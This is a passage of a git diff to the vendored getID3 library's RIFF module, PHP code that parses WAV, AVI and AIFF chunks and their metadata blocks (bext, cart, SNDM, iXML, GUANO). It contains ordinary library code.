+ } elseif (isset($RealAudioCodecFourCClookup[$fourcc][0])) { + return $RealAudioCodecFourCClookup[$fourcc][0]; + } + return $fourcc; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio-video.riff.php b/vendor/james-heinrich/getid3/getid3/module.audio-video.riff.php index 1be155ec16..6ef1116ad1 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio-video.riff.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio-video.riff.php @@ -1,2865 +1,2865 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio-video.riff.php // -// module for analyzing RIFF files // -// multiple formats supported by this module: // -// Wave, AVI, AIFF/AIFC, (MP3,AC3)/RIFF, Wavpack v3, 8SVX // -// dependencies: module.audio.mp3.php // -// module.audio.ac3.php // -// module.audio.dts.php // -// /// -///////////////////////////////////////////////////////////////// - -/** -* @todo Parse AC-3/DTS audio inside WAVE correctly -* @todo Rewrite RIFF parser totally -*/ - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} -getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.mp3.php', __FILE__, true); -getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ac3.php', __FILE__, true); -getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.dts.php', __FILE__, true); - -class getid3_riff extends getid3_handler -{ - protected $container = 'riff'; // default - - /** - * @return bool - * - * @throws getid3_exception - */ - public function Analyze() { - $info = &$this->getid3->info; - - // initialize these values to an empty array, otherwise they default to NULL - // and you can't append array values to a NULL value - $info['riff'] = array('raw'=>array()); - - // Shortcuts - $thisfile_riff = &$info['riff']; - $thisfile_riff_raw = &$thisfile_riff['raw']; - $thisfile_audio = &$info['audio']; - $thisfile_video = &$info['video']; - $thisfile_audio_dataformat = &$thisfile_audio['dataformat']; - $thisfile_riff_audio = &$thisfile_riff['audio']; - $thisfile_riff_video = &$thisfile_riff['video']; - $thisfile_riff_WAVE = array(); - - $Original = array(); - $Original['avdataoffset'] = $info['avdataoffset']; - $Original['avdataend'] = $info['avdataend']; - - $this->fseek($info['avdataoffset']); - $RIFFheader = $this->fread(12); - $offset = $this->ftell(); - $RIFFtype = substr($RIFFheader, 0, 4); - $RIFFsize = substr($RIFFheader, 4, 4); - $RIFFsubtype = substr($RIFFheader, 8, 4); - - switch ($RIFFtype) { - - case 'FORM': // AIFF, AIFC - //$info['fileformat'] = 'aiff'; - $this->container = 'aiff'; - $thisfile_riff['header_size'] = $this->EitherEndian2Int($RIFFsize); - $thisfile_riff[$RIFFsubtype] = $this->ParseRIFF($offset, ($offset + $thisfile_riff['header_size'] - 4)); - break; - - case 'RIFF': // AVI, WAV, etc - case 'SDSS': // SDSS is identical to RIFF, just renamed. Used by SmartSound QuickTracks (www.smartsound.com) - case 'RMP3': // RMP3 is identical to RIFF, just renamed. Used by [unknown program] when creating RIFF-MP3s - //$info['fileformat'] = 'riff'; - $this->container = 'riff'; - $thisfile_riff['header_size'] = $this->EitherEndian2Int($RIFFsize); - if ($RIFFsubtype == 'RMP3') { - // RMP3 is identical to WAVE, just renamed. Used by [unknown program] when creating RIFF-MP3s - $RIFFsubtype = 'WAVE'; - } - if ($RIFFsubtype != 'AMV ') { - // AMV files are RIFF-AVI files with parts of the spec deliberately broken, such as chunk size fields hardcoded to zero (because players known in hardware that these fields are always a certain size - // Handled separately in ParseRIFFAMV() - $thisfile_riff[$RIFFsubtype] = $this->ParseRIFF($offset, ($offset + $thisfile_riff['header_size'] - 4)); - } - if (($info['avdataend'] - $info['filesize']) == 1) { - // LiteWave appears to incorrectly *not* pad actual output file - // to nearest WORD boundary so may appear to be short by one - // byte, in which case - skip warning - $info['avdataend'] = $info['filesize']; - } - - $nextRIFFoffset = $Original['avdataoffset'] + 8 + $thisfile_riff['header_size']; // 8 = "RIFF" + 32-bit offset - while ($nextRIFFoffset < min($info['filesize'], $info['avdataend'])) { - try { - $this->fseek($nextRIFFoffset); - } catch (getid3_exception $e) { - if ($e->getCode() == 10) { - //$this->warning('RIFF parser: '.$e->getMessage()); - $this->error('AVI extends beyond '.round(PHP_INT_MAX / 1073741824).'GB and PHP filesystem functions cannot read that far, playtime may be wrong'); - $this->warning('[avdataend] value may be incorrect, multiple AVIX chunks may be present'); - break; - } else { - throw $e; - } - } - $nextRIFFheader = $this->fread(12); - if ($nextRIFFoffset == ($info['avdataend'] - 1)) { - if (substr($nextRIFFheader, 0, 1) == "\x00") { - // RIFF padded to WORD boundary, we're actually already at the end - break; - } - } - $nextRIFFheaderID = substr($nextRIFFheader, 0, 4); - $nextRIFFsize = $this->EitherEndian2Int(substr($nextRIFFheader, 4, 4)); - $nextRIFFtype = substr($nextRIFFheader, 8, 4); - $chunkdata = array(); - $chunkdata['offset'] = $nextRIFFoffset + 8; - $chunkdata['size'] = $nextRIFFsize; - $nextRIFFoffset = $chunkdata['offset'] + $chunkdata['size']; - - switch ($nextRIFFheaderID) { - case 'RIFF': - $chunkdata['chunks'] = $this->ParseRIFF($chunkdata['offset'] + 4, $nextRIFFoffset); - if (!isset($thisfile_riff[$nextRIFFtype])) { - $thisfile_riff[$nextRIFFtype] = array(); - } - $thisfile_riff[$nextRIFFtype][] = $chunkdata; - break; - - case 'AMV ': - unset($info['riff']); - $info['amv'] = $this->ParseRIFFAMV($chunkdata['offset'] + 4, $nextRIFFoffset); - break; - - case 'JUNK': - // ignore - $thisfile_riff[$nextRIFFheaderID][] = $chunkdata; - break; - - case 'IDVX': - $info['divxtag']['comments'] = self::ParseDIVXTAG($this->fread($chunkdata['size'])); - break; - - default: - if ($info['filesize'] == ($chunkdata['offset'] - 8 + 128)) { - $DIVXTAG = $nextRIFFheader.$this->fread(128 - 12); - if (substr($DIVXTAG, -7) == 'DIVXTAG') { - // DIVXTAG is supposed to be inside an IDVX chunk in a LIST chunk, but some bad encoders just slap it on the end of a file - $this->warning('Found wrongly-structured DIVXTAG at offset '.($this->ftell() - 128).', parsing anyway'); - $info['divxtag']['comments'] = self::ParseDIVXTAG($DIVXTAG); - break 2; - } - } - $this->warning('Expecting "RIFF|JUNK|IDVX" at '.$nextRIFFoffset.', found "'.$nextRIFFheaderID.'" ('.getid3_lib::PrintHexBytes($nextRIFFheaderID).') - skipping rest of file'); - break 2; - - } - - } - if ($RIFFsubtype == 'WAVE') { - $thisfile_riff_WAVE = &$thisfile_riff['WAVE']; - } - break; - - default: - $this->error('Cannot parse RIFF (this is maybe not a RIFF / WAV / AVI file?) - expecting "FORM|RIFF|SDSS|RMP3" found "'.$RIFFsubtype.'" instead'); - //unset($info['fileformat']); - return false; - } - - $streamindex = 0; - switch ($RIFFsubtype) { - - // http://en.wikipedia.org/wiki/Wav - case 'WAVE': - $info['fileformat'] = 'wav'; - - if (empty($thisfile_audio['bitrate_mode'])) { - $thisfile_audio['bitrate_mode'] = 'cbr'; - } - if (empty($thisfile_audio_dataformat)) { - $thisfile_audio_dataformat = 'wav'; - } - - if (isset($thisfile_riff_WAVE['data'][0]['offset'])) { - $info['avdataoffset'] = $thisfile_riff_WAVE['data'][0]['offset'] + 8; - $info['avdataend'] = $info['avdataoffset'] + $thisfile_riff_WAVE['data'][0]['size']; - } - if (isset($thisfile_riff_WAVE['fmt '][0]['data'])) { - - $thisfile_riff_audio[$streamindex] = self::parseWAVEFORMATex($thisfile_riff_WAVE['fmt '][0]['data']); - $thisfile_audio['wformattag'] = $thisfile_riff_audio[$streamindex]['raw']['wFormatTag']; - if (!isset($thisfile_riff_audio[$streamindex]['bitrate']) || ($thisfile_riff_audio[$streamindex]['bitrate'] == 0)) { - $this->error('Corrupt RIFF file: bitrate_audio == zero'); - return false; - } - $thisfile_riff_raw['fmt '] = $thisfile_riff_audio[$streamindex]['raw']; - unset($thisfile_riff_audio[$streamindex]['raw']); - $thisfile_audio['streams'][$streamindex] = $thisfile_riff_audio[$streamindex]; - - $thisfile_audio = (array) getid3_lib::array_merge_noclobber($thisfile_audio, $thisfile_riff_audio[$streamindex]); - if (substr($thisfile_audio['codec'], 0, strlen('unknown: 0x')) == 'unknown: 0x') { - $this->warning('Audio codec = '.$thisfile_audio['codec']); - } - $thisfile_audio['bitrate'] = $thisfile_riff_audio[$streamindex]['bitrate']; - - if (empty($info['playtime_seconds'])) { // may already be set (e.g. DTS-WAV) - $info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $thisfile_audio['bitrate']); - } - - $thisfile_audio['lossless'] = false; - if (isset($thisfile_riff_WAVE['data'][0]['offset']) && isset($thisfile_riff_raw['fmt ']['wFormatTag'])) { - switch ($thisfile_riff_raw['fmt ']['wFormatTag']) { - - case 0x0001: // PCM - $thisfile_audio['lossless'] = true; - break; - - case 0x2000: // AC-3 - $thisfile_audio_dataformat = 'ac3'; - break; - - default: - // do nothing - break; - - } - } - $thisfile_audio['streams'][$streamindex]['wformattag'] = $thisfile_audio['wformattag']; - $thisfile_audio['streams'][$streamindex]['bitrate_mode'] = $thisfile_audio['bitrate_mode']; - $thisfile_audio['streams'][$streamindex]['lossless'] = $thisfile_audio['lossless']; - $thisfile_audio['streams'][$streamindex]['dataformat'] = $thisfile_audio_dataformat; - } - - if (isset($thisfile_riff_WAVE['rgad'][0]['data'])) { - - // shortcuts - $rgadData = &$thisfile_riff_WAVE['rgad'][0]['data']; - $thisfile_riff_raw['rgad'] = array('track'=>array(), 'album'=>array()); - $thisfile_riff_raw_rgad = &$thisfile_riff_raw['rgad']; - $thisfile_riff_raw_rgad_track = &$thisfile_riff_raw_rgad['track']; - $thisfile_riff_raw_rgad_album = &$thisfile_riff_raw_rgad['album']; - - $thisfile_riff_raw_rgad['fPeakAmplitude'] = getid3_lib::LittleEndian2Float(substr($rgadData, 0, 4)); - $thisfile_riff_raw_rgad['nRadioRgAdjust'] = $this->EitherEndian2Int(substr($rgadData, 4, 2)); - $thisfile_riff_raw_rgad['nAudiophileRgAdjust'] = $this->EitherEndian2Int(substr($rgadData, 6, 2)); - - $nRadioRgAdjustBitstring = str_pad(getid3_lib::Dec2Bin($thisfile_riff_raw_rgad['nRadioRgAdjust']), 16, '0', STR_PAD_LEFT); - $nAudiophileRgAdjustBitstring = str_pad(getid3_lib::Dec2Bin($thisfile_riff_raw_rgad['nAudiophileRgAdjust']), 16, '0', STR_PAD_LEFT); - $thisfile_riff_raw_rgad_track['name'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 0, 3)); - $thisfile_riff_raw_rgad_track['originator'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 3, 3)); - $thisfile_riff_raw_rgad_track['signbit'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 6, 1)); - $thisfile_riff_raw_rgad_track['adjustment'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 7, 9)); - $thisfile_riff_raw_rgad_album['name'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 0, 3)); - $thisfile_riff_raw_rgad_album['originator'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 3, 3)); - $thisfile_riff_raw_rgad_album['signbit'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 6, 1)); - $thisfile_riff_raw_rgad_album['adjustment'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 7, 9)); - - $thisfile_riff['rgad']['peakamplitude'] = $thisfile_riff_raw_rgad['fPeakAmplitude']; - if (($thisfile_riff_raw_rgad_track['name'] != 0) && ($thisfile_riff_raw_rgad_track['originator'] != 0)) { - $thisfile_riff['rgad']['track']['name'] = getid3_lib::RGADnameLookup($thisfile_riff_raw_rgad_track['name']); - $thisfile_riff['rgad']['track']['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_riff_raw_rgad_track['originator']); - $thisfile_riff['rgad']['track']['adjustment'] = getid3_lib::RGADadjustmentLookup($thisfile_riff_raw_rgad_track['adjustment'], $thisfile_riff_raw_rgad_track['signbit']); - } - if (($thisfile_riff_raw_rgad_album['name'] != 0) && ($thisfile_riff_raw_rgad_album['originator'] != 0)) { - $thisfile_riff['rgad']['album']['name'] = getid3_lib::RGADnameLookup($thisfile_riff_raw_rgad_album['name']); - $thisfile_riff['rgad']['album']['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_riff_raw_rgad_album['originator']); - $thisfile_riff['rgad']['album']['adjustment'] = getid3_lib::RGADadjustmentLookup($thisfile_riff_raw_rgad_album['adjustment'], $thisfile_riff_raw_rgad_album['signbit']); - } - } - - if (isset($thisfile_riff_WAVE['fact'][0]['data'])) { - $thisfile_riff_raw['fact']['NumberOfSamples'] = $this->EitherEndian2Int(substr($thisfile_riff_WAVE['fact'][0]['data'], 0, 4)); - - // This should be a good way of calculating exact playtime, - // but some sample files have had incorrect number of samples, - // so cannot use this method - - // if (!empty($thisfile_riff_raw['fmt ']['nSamplesPerSec'])) { - // $info['playtime_seconds'] = (float) $thisfile_riff_raw['fact']['NumberOfSamples'] / $thisfile_riff_raw['fmt ']['nSamplesPerSec']; - // } - } - if (!empty($thisfile_riff_raw['fmt ']['nAvgBytesPerSec'])) { - $thisfile_audio['bitrate'] = getid3_lib::CastAsInt($thisfile_riff_raw['fmt ']['nAvgBytesPerSec'] * 8); - } - - if (isset($thisfile_riff_WAVE['bext'][0]['data'])) { - // shortcut - $thisfile_riff_WAVE_bext_0 = &$thisfile_riff_WAVE['bext'][0]; - - $thisfile_riff_WAVE_bext_0['title'] = substr($thisfile_riff_WAVE_bext_0['data'], 0, 256); - $thisfile_riff_WAVE_bext_0['author'] = substr($thisfile_riff_WAVE_bext_0['data'], 256, 32); - $thisfile_riff_WAVE_bext_0['reference'] = substr($thisfile_riff_WAVE_bext_0['data'], 288, 32); - foreach (array('title','author','reference') as $bext_key) { - // Some software (notably Logic Pro) may not blank existing data before writing a null-terminated string to the offsets - // assigned for text fields, resulting in a null-terminated string (or possibly just a single null) followed by garbage - // Keep only string as far as first null byte, discard rest of fixed-width data - // https://github.com/JamesHeinrich/getID3/issues/263 - $null_terminator_offset = strpos($thisfile_riff_WAVE_bext_0[$bext_key], "\x00"); - $thisfile_riff_WAVE_bext_0[$bext_key] = substr($thisfile_riff_WAVE_bext_0[$bext_key], 0, $null_terminator_offset); - } - - $thisfile_riff_WAVE_bext_0['origin_date'] = substr($thisfile_riff_WAVE_bext_0['data'], 320, 10); - $thisfile_riff_WAVE_bext_0['origin_time'] = substr($thisfile_riff_WAVE_bext_0['data'], 330, 8); - $thisfile_riff_WAVE_bext_0['time_reference'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_bext_0['data'], 338, 8)); - $thisfile_riff_WAVE_bext_0['bwf_version'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_bext_0['data'], 346, 1)); - $thisfile_riff_WAVE_bext_0['reserved'] = substr($thisfile_riff_WAVE_bext_0['data'], 347, 254); - $thisfile_riff_WAVE_bext_0['coding_history'] = explode("\r\n", trim(substr($thisfile_riff_WAVE_bext_0['data'], 601))); - if (preg_match('#^([0-9]{4}).([0-9]{2}).([0-9]{2})$#', $thisfile_riff_WAVE_bext_0['origin_date'], $matches_bext_date)) { - if (preg_match('#^([0-9]{2}).([0-9]{2}).([0-9]{2})$#', $thisfile_riff_WAVE_bext_0['origin_time'], $matches_bext_time)) { - $bext_timestamp = array(); - list($dummy, $bext_timestamp['year'], $bext_timestamp['month'], $bext_timestamp['day']) = $matches_bext_date; - list($dummy, $bext_timestamp['hour'], $bext_timestamp['minute'], $bext_timestamp['second']) = $matches_bext_time; - $thisfile_riff_WAVE_bext_0['origin_date_unix'] = gmmktime($bext_timestamp['hour'], $bext_timestamp['minute'], $bext_timestamp['second'], $bext_timestamp['month'], $bext_timestamp['day'], $bext_timestamp['year']); - } else { - $this->warning('RIFF.WAVE.BEXT.origin_time is invalid'); - } - } else { - $this->warning('RIFF.WAVE.BEXT.origin_date is invalid'); - } - $thisfile_riff['comments']['author'][] = $thisfile_riff_WAVE_bext_0['author']; - $thisfile_riff['comments']['title'][] = $thisfile_riff_WAVE_bext_0['title']; - } - - if (isset($thisfile_riff_WAVE['MEXT'][0]['data'])) { - // shortcut - $thisfile_riff_WAVE_MEXT_0 = &$thisfile_riff_WAVE['MEXT'][0]; - - $thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 0, 2)); - $thisfile_riff_WAVE_MEXT_0['flags']['homogenous'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0001); - if ($thisfile_riff_WAVE_MEXT_0['flags']['homogenous']) { - $thisfile_riff_WAVE_MEXT_0['flags']['padding'] = ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0002) ? false : true; - $thisfile_riff_WAVE_MEXT_0['flags']['22_or_44'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0004); - $thisfile_riff_WAVE_MEXT_0['flags']['free_format'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0008); - - $thisfile_riff_WAVE_MEXT_0['nominal_frame_size'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 2, 2)); - } - $thisfile_riff_WAVE_MEXT_0['anciliary_data_length'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 6, 2)); - $thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 8, 2)); - $thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_left'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0001); - $thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_free'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0002); - $thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_right'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0004); - } - - if (isset($thisfile_riff_WAVE['cart'][0]['data'])) { - // shortcut - $thisfile_riff_WAVE_cart_0 = &$thisfile_riff_WAVE['cart'][0]; - - $thisfile_riff_WAVE_cart_0['version'] = substr($thisfile_riff_WAVE_cart_0['data'], 0, 4); - $thisfile_riff_WAVE_cart_0['title'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 4, 64)); - $thisfile_riff_WAVE_cart_0['artist'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 68, 64)); - $thisfile_riff_WAVE_cart_0['cut_id'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 132, 64)); - $thisfile_riff_WAVE_cart_0['client_id'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 196, 64)); - $thisfile_riff_WAVE_cart_0['category'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 260, 64)); - $thisfile_riff_WAVE_cart_0['classification'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 324, 64)); - $thisfile_riff_WAVE_cart_0['out_cue'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 388, 64)); - $thisfile_riff_WAVE_cart_0['start_date'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 452, 10)); - $thisfile_riff_WAVE_cart_0['start_time'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 462, 8)); - $thisfile_riff_WAVE_cart_0['end_date'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 470, 10)); - $thisfile_riff_WAVE_cart_0['end_time'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 480, 8)); - $thisfile_riff_WAVE_cart_0['producer_app_id'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 488, 64)); - $thisfile_riff_WAVE_cart_0['producer_app_version'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 552, 64)); - $thisfile_riff_WAVE_cart_0['user_defined_text'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 616, 64)); - $thisfile_riff_WAVE_cart_0['zero_db_reference'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_cart_0['data'], 680, 4), true); - for ($i = 0; $i < 8; $i++) { - $thisfile_riff_WAVE_cart_0['post_time'][$i]['usage_fourcc'] = substr($thisfile_riff_WAVE_cart_0['data'], 684 + ($i * 8), 4); - $thisfile_riff_WAVE_cart_0['post_time'][$i]['timer_value'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_cart_0['data'], 684 + ($i * 8) + 4, 4)); - } - $thisfile_riff_WAVE_cart_0['url'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 748, 1024)); - $thisfile_riff_WAVE_cart_0['tag_text'] = explode("\r\n", trim(substr($thisfile_riff_WAVE_cart_0['data'], 1772))); - $thisfile_riff['comments']['tag_text'][] = substr($thisfile_riff_WAVE_cart_0['data'], 1772); - - $thisfile_riff['comments']['artist'][] = $thisfile_riff_WAVE_cart_0['artist']; - $thisfile_riff['comments']['title'][] = $thisfile_riff_WAVE_cart_0['title']; - } - - if (isset($thisfile_riff_WAVE['SNDM'][0]['data'])) { - // SoundMiner metadata - - // shortcuts - $thisfile_riff_WAVE_SNDM_0 = &$thisfile_riff_WAVE['SNDM'][0]; - $thisfile_riff_WAVE_SNDM_0_data = &$thisfile_riff_WAVE_SNDM_0['data']; - $SNDM_startoffset = 0; - $SNDM_endoffset = $thisfile_riff_WAVE_SNDM_0['size']; - - while ($SNDM_startoffset < $SNDM_endoffset) { - $SNDM_thisTagOffset = 0; - $SNDM_thisTagSize = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 4)); - $SNDM_thisTagOffset += 4; - $SNDM_thisTagKey = substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 4); - $SNDM_thisTagOffset += 4; - $SNDM_thisTagDataSize = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 2)); - $SNDM_thisTagOffset += 2; - $SNDM_thisTagDataFlags = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 2)); - $SNDM_thisTagOffset += 2; - $SNDM_thisTagDataText = substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, $SNDM_thisTagDataSize); - $SNDM_thisTagOffset += $SNDM_thisTagDataSize; - - if ($SNDM_thisTagSize != (4 + 4 + 2 + 2 + $SNDM_thisTagDataSize)) { - $this->warning('RIFF.WAVE.SNDM.data contains tag not expected length (expected: '.$SNDM_thisTagSize.', found: '.(4 + 4 + 2 + 2 + $SNDM_thisTagDataSize).') at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')'); - break; - } elseif ($SNDM_thisTagSize <= 0) { - $this->warning('RIFF.WAVE.SNDM.data contains zero-size tag at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')'); - break; - } - $SNDM_startoffset += $SNDM_thisTagSize; - - $thisfile_riff_WAVE_SNDM_0['parsed_raw'][$SNDM_thisTagKey] = $SNDM_thisTagDataText; - if ($parsedkey = self::waveSNDMtagLookup($SNDM_thisTagKey)) { - $thisfile_riff_WAVE_SNDM_0['parsed'][$parsedkey] = $SNDM_thisTagDataText; - } else { - $this->warning('RIFF.WAVE.SNDM contains unknown tag "'.$SNDM_thisTagKey.'" at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')'); - } - } - - $tagmapping = array( - 'tracktitle'=>'title', - 'category' =>'genre', - 'cdtitle' =>'album', - ); - foreach ($tagmapping as $fromkey => $tokey) { - if (isset($thisfile_riff_WAVE_SNDM_0['parsed'][$fromkey])) { - $thisfile_riff['comments'][$tokey][] = $thisfile_riff_WAVE_SNDM_0['parsed'][$fromkey]; - } - } - } - - if (isset($thisfile_riff_WAVE['iXML'][0]['data'])) { - // requires functions simplexml_load_string and get_object_vars - if ($parsedXML = getid3_lib::XML2array($thisfile_riff_WAVE['iXML'][0]['data'])) { - $thisfile_riff_WAVE['iXML'][0]['parsed'] = $parsedXML; - if (isset($parsedXML['SPEED']['MASTER_SPEED'])) { - @list($numerator, $denominator) = explode('/', $parsedXML['SPEED']['MASTER_SPEED']); - $thisfile_riff_WAVE['iXML'][0]['master_speed'] = $numerator / ($denominator ? $denominator : 1000); - } - if (isset($parsedXML['SPEED']['TIMECODE_RATE'])) { - @list($numerator, $denominator) = explode('/', $parsedXML['SPEED']['TIMECODE_RATE']); - $thisfile_riff_WAVE['iXML'][0]['timecode_rate'] = $numerator / ($denominator ? $denominator : 1000); - } - if (isset($parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_LO']) && !empty($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) && !empty($thisfile_riff_WAVE['iXML'][0]['timecode_rate'])) { - $samples_since_midnight = floatval(ltrim($parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_HI'].$parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_LO'], '0')); - $timestamp_sample_rate = (is_array($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) ? max($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) : $parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']); // XML could possibly contain more than one TIMESTAMP_SAMPLE_RATE tag, returning as array instead of integer [why? does it make sense? perhaps doesn't matter but getID3 needs to deal with it] - see https://github.com/JamesHeinrich/getID3/issues/105 - $thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] = $samples_since_midnight / $timestamp_sample_rate; - $h = floor( $thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] / 3600); - $m = floor(($thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600)) / 60); - $s = floor( $thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600) - ($m * 60)); - $f = ($thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600) - ($m * 60) - $s) * $thisfile_riff_WAVE['iXML'][0]['timecode_rate']; - $thisfile_riff_WAVE['iXML'][0]['timecode_string'] = sprintf('%02d:%02d:%02d:%05.2f', $h, $m, $s, $f); - $thisfile_riff_WAVE['iXML'][0]['timecode_string_round'] = sprintf('%02d:%02d:%02d:%02d', $h, $m, $s, round($f)); - unset($samples_since_midnight, $timestamp_sample_rate, $h, $m, $s, $f); - } - unset($parsedXML); - } - } - - if (isset($thisfile_riff_WAVE['guan'][0]['data'])) { - // shortcut - $thisfile_riff_WAVE_guan_0 = &$thisfile_riff_WAVE['guan'][0]; - if (!empty($thisfile_riff_WAVE_guan_0['data']) && (substr($thisfile_riff_WAVE_guan_0['data'], 0, 14) == 'GUANO|Version:')) { - $thisfile_riff['guano'] = array(); - foreach (explode("\n", $thisfile_riff_WAVE_guan_0['data']) as $line) { - if ($line) { - @list($key, $value) = explode(':', $line, 2); - if (substr($value, 0, 3) == '[{"') { - if ($decoded = @json_decode($value, true)) { - if (!empty($decoded) && (count($decoded) == 1)) { - $value = $decoded[0]; - } else { - $value = $decoded; - } - } - } - $thisfile_riff['guano'] = array_merge_recursive($thisfile_riff['guano'], getid3_lib::CreateDeepArray($key, '|', $value)); - } - } - - // https://www.wildlifeacoustics.com/SCHEMA/GUANO.html - foreach ($thisfile_riff['guano'] as $key => $value) { - switch ($key) { - case 'Loc Position': - if (preg_match('#^([\\+\\-]?[0-9]+\\.[0-9]+) ([\\+\\-]?[0-9]+\\.[0-9]+)$#', $value, $matches)) { - list($dummy, $latitude, $longitude) = $matches; - $thisfile_riff['comments']['gps_latitude'][0] = floatval($latitude); - $thisfile_riff['comments']['gps_longitude'][0] = floatval($longitude); - $thisfile_riff['guano'][$key] = floatval($latitude).' '.floatval($longitude); - } - break; - case 'Loc Elevation': // Elevation/altitude above mean sea level in meters - $thisfile_riff['comments']['gps_altitude'][0] = floatval($value); - $thisfile_riff['guano'][$key] = (float) $value; - break; - case 'Filter HP': // High-pass filter frequency in kHz - case 'Filter LP': // Low-pass filter frequency in kHz - case 'Humidity': // Relative humidity as a percentage - case 'Length': // Recording length in seconds - case 'Loc Accuracy': // Estimated Position Error in meters - case 'Temperature Ext': // External temperature in degrees Celsius outside the recorder's housing - case 'Temperature Int': // Internal temperature in degrees Celsius inside the recorder's housing - $thisfile_riff['guano'][$key] = (float) $value; - break; - case 'Samplerate': // Recording sample rate, Hz - case 'TE': // Time-expansion factor. If not specified, then 1 (no time-expansion a.k.a. direct-recording) is assumed. - $thisfile_riff['guano'][$key] = (int) $value; - break; - } - } - - } else { - $this->warning('RIFF.guan data not in expected format'); - } - } - - if (!isset($thisfile_audio['bitrate']) && isset($thisfile_riff_audio[$streamindex]['bitrate'])) { - $thisfile_audio['bitrate'] = $thisfile_riff_audio[$streamindex]['bitrate']; - $info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $thisfile_audio['bitrate']); - } - - if (!empty($info['wavpack'])) { - $thisfile_audio_dataformat = 'wavpack'; - $thisfile_audio['bitrate_mode'] = 'vbr'; - $thisfile_audio['encoder'] = 